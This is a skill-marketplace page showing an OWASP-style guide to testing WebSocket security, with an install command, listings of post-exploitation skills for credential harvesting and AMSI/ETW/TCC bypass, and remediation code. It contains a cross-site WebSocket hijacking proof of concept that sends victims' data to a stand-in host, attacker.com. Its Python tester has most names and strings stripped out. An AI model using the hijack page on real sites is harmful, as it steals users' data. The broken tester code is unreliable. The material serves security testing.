用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-10命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
正在显示 SKILL.md
基于 SOC 职业分类
| name | wstg-clnt-10 |
| description | Testing WebSockets |
| category | client-side |
| owasp_id | WSTG-CLNT-10 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-10
Testing WebSockets
WebSockets provide full-duplex communication channels over a single TCP connection. Security issues can arise from missing authentication, lack of input validation, cross-site WebSocket hijacking, and insecure data transmission.
// Browser console
// Check for WebSocket connections
console.log("WebSocket instances:", window.WebSocket)
// Monitor WebSocket creation
const originalWS = window.WebSocket
window.WebSocket = function (...args) {
console.log("WebSocket created:", args)
return new originalWS(...args)
}
#!/usr/bin/env python3
import asyncio
import websockets
import json
class WebSocketTester:
():
.ws_url = ws_url
.findings = []
():
()
origins = [
,
,
,
]
origin origins:
:
headers = {: origin}
websockets.connect(
.ws_url,
extra_headers=headers
) ws:
()
.findings.append({
: ,
:
})
Exception e:
()
():
()
:
websockets.connect(.ws_url) ws:
ws.send(json.dumps({: }))
response = asyncio.wait_for(ws.recv(), timeout=)
()
()
.findings.append({
: ,
:
})
Exception e:
()
():
()
payloads = [
,
,
,
]
:
websockets.connect(.ws_url) ws:
payload payloads:
ws.send(payload)
:
response = asyncio.wait_for(ws.recv(), timeout=)
()
()
:
Exception e:
():
.test_origin()
.test_no_auth()
.test_injection()
tester = WebSocketTester()
asyncio.run(tester.run_tests())
<!-- Host on attacker.com -->
<script>
// If origin is not validated, can hijack WebSocket
const ws = new WebSocket("wss://target.com/ws")
ws.onopen = function () {
ws.send(JSON.stringify({ action: "get_sensitive_data" }))
}
ws.onmessage = function (event) {
// Steal data
fetch("https://attacker.com/log", {
method: "POST",
body: event.data,
})
}
</script>
# Validate origin in WebSocket connection
@websocket.route('/ws')
async def websocket_handler(ws):
origin = ws.headers.get('Origin')
allowed_origins = ['https://trusted.com']
if origin not in allowed_origins:
await ws.close(code=1008, reason='Invalid origin')
return
# Require authentication
token = ws.headers.get('Authorization')
if not validate_token(token):
await ws.close(code=1008, reason='Unauthorized')
return
# Process messages with input validation
async for message in ws:
data = sanitize_input(json.loads(message))
# Process...
| Finding | CVSS | Severity |
|---|---|---|
| No origin validation | 8.1 | High |
| No authentication | 7.5 | High |
| Injection vulnerabilities | 7.5 | High |
| Unencrypted (WS not WSS) | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-1385 | Missing Origin Validation in WebSockets |
[ ] WebSocket endpoints identified
[ ] Origin validation tested
[ ] Authentication tested
[ ] WSS encryption checked
[ ] Input validation tested
[ ] Findings documented